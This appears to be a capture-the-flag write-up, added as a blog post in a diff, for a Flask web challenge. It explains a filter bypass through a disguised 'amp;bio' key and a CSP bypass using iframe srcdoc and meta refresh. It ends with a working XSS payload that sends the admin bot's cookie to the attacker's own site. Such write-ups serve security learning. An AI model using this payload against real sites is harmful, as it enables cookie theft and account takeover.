|
| 1 | ++++ |
| 2 | +title = "My Flask App Revenge" |
| 3 | +date = 2025-07-06 |
| 4 | +authors = ["Abizer Lokhandwala"] |
| 5 | ++++ |
| 6 | + |
| 7 | +### My Flask App Rev Writeup |
| 8 | + |
| 9 | +First looking at all accesable endpoints in app.py |
| 10 | + |
| 11 | + 1. / |
| 12 | + 2. /register |
| 13 | + 3. /update_bio |
| 14 | + 4. /login |
| 15 | + 5. /users |
| 16 | + 6. /api/users |
| 17 | + 7. /render |
| 18 | + 8. /report |
| 19 | + |
| 20 | +By breifly looking at all the functions and templates we can kind of guess a possible attack vector that is the bio we can inject some code into the bio and the bot will render it and execute the code |
| 21 | + |
| 22 | +Looking into all the functions in more detail the regiter and login parts work as intended there is nothing of interest there. |
| 23 | +The report is important with a get request we see that it just goes to a page with a form that sends a post req to itself. |
| 24 | +A post req creates a bot that just visits the /users?name={our input}. |
| 25 | +Visit is an import from bot.py it opens a headless chromium browser that logs in as admin and adds a cookie with the flag. |
| 26 | + |
| 27 | +It does have a lax samesitepolicy which means that we can access that cookie easily from a completely different website so our payload needs to just redirect the bot to out website and that can just take the cookie. |
| 28 | + |
| 29 | +So what is in /users?name={user} |
| 30 | +It renders user.html template |
| 31 | +Basically uses the scripts index and users |
| 32 | + |
| 33 | +#### Index.js (important sections): |
| 34 | +Sets window name to not admin other than that it seems to be normal and nothing seems interesting it is just a handler script takes forms and sends post requests. |
| 35 | + |
| 36 | +#### Users.js (important sections): |
| 37 | +Takes the name parameter fetches api/users?name={name} this makes an iframe with /render?all keys stored in the db associated with this user in the revenge part it url encodes & so that we cant have a key &bio to trick this. |
| 38 | +If window name is "admin" it takes the get param "js" and executes it. |
| 39 | + |
| 40 | +#### Api/users: |
| 41 | +It looks in the db for the user and gives all fields from the db except password and id. |
| 42 | + |
| 43 | +#### /Render: |
| 44 | +Loads the bio with |safe meaning it assumes the output will be safe and wont sanatize it this is vulnerable. |
| 45 | + |
| 46 | +From this our attack vector will be to inject some code into the bio section. |
| 47 | + |
| 48 | +#### /Update_bio: |
| 49 | +It only allows post req |
| 50 | +Takes username from session looks at the json payload sent and filters the "bio" key next it just add the payload to our db this is good it means we can do something like &bio or amp;bio and since in this stage the key is not "bio" it wont be filtered and so we can inject code. |
| 51 | + |
| 52 | +```py |
| 53 | +data = request.json |
| 54 | + if "username" in data or "password" in data: |
| 55 | + return jsonify({"error": "Cannot update username or password"}), 400 |
| 56 | + bio = data.get("bio", "") |
| 57 | + if not bio or any( |
| 58 | + char not in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 " |
| 59 | + for char in bio |
| 60 | + ): |
| 61 | + return jsonify({"error": "Invalid bio"}), 400 |
| 62 | + |
| 63 | + result = users_collection.update_one({"username": username}, {"$set": data}) |
| 64 | + if result.matched_count > 0: |
| 65 | + return jsonify({"message": "Bio updated successfully"}), 200 |
| 66 | + else: |
| 67 | + return jsonify({"error": "Failed to update bio"}), 500 |
| 68 | +``` |
| 69 | + |
| 70 | +Now crafting the payload we can send we know the key will be amp;bio but the csp will not allow us to execute js directly in the render page. |
| 71 | + |
| 72 | +#### CSP Setup: |
| 73 | +```py |
| 74 | +# set CSP header for all responses |
| 75 | +@app.after_request |
| 76 | +def set_csp(response): |
| 77 | + response.headers["Content-Security-Policy"] = ( |
| 78 | + "default-src 'self'; script-src 'self' 'unsafe-eval'; style-src 'self' ;" |
| 79 | + ) |
| 80 | + return response |
| 81 | +``` |
| 82 | + |
| 83 | +So instead we must use the ?js param in the users.js page so our vulnerable entry point is /render and we want to somehow add out payload into a ?js parameter |
| 84 | + |
| 85 | +#### Users.js snippet: |
| 86 | +```json |
| 87 | +if(window.name=="admin"){ |
| 88 | + js = urlParams.get('js'); |
| 89 | + if(js){ |
| 90 | + eval(js); |
| 91 | + } |
| 92 | + |
| 93 | + } |
| 94 | +``` |
| 95 | + |
| 96 | +We can use the meta tag for this since it is not disabled in the csp. |
| 97 | + |
| 98 | +Srcdoc basicaly refers to this page itself if we add a meta tag to redirect to about:srcdoc?js=payload we can get cookie also we need to include the /users.js to the page we can also add that as a script tag. |
| 99 | +Note that the csp doesnt stop html tags and sources it just stops execution of js on out browser. |
| 100 | + |
| 101 | +### Final Payload: |
| 102 | + |
| 103 | +```json |
| 104 | +{ "bio":"a", "amp;bio":"<iframe name=admin src=about:srcdoc? srcdoc=\"<meta http-equiv=refresh content='1; url=about:srcdoc?js=top.location=`our site url`.concat(document.cookie);'><script src=/static/users.js?js=alert();></script>\">" } |
| 105 | +``` |
| 106 | + |
| 107 | +Sending this as the payload to update bio and then reporting the user will get us the flag. |
| 108 | + |
0 commit comments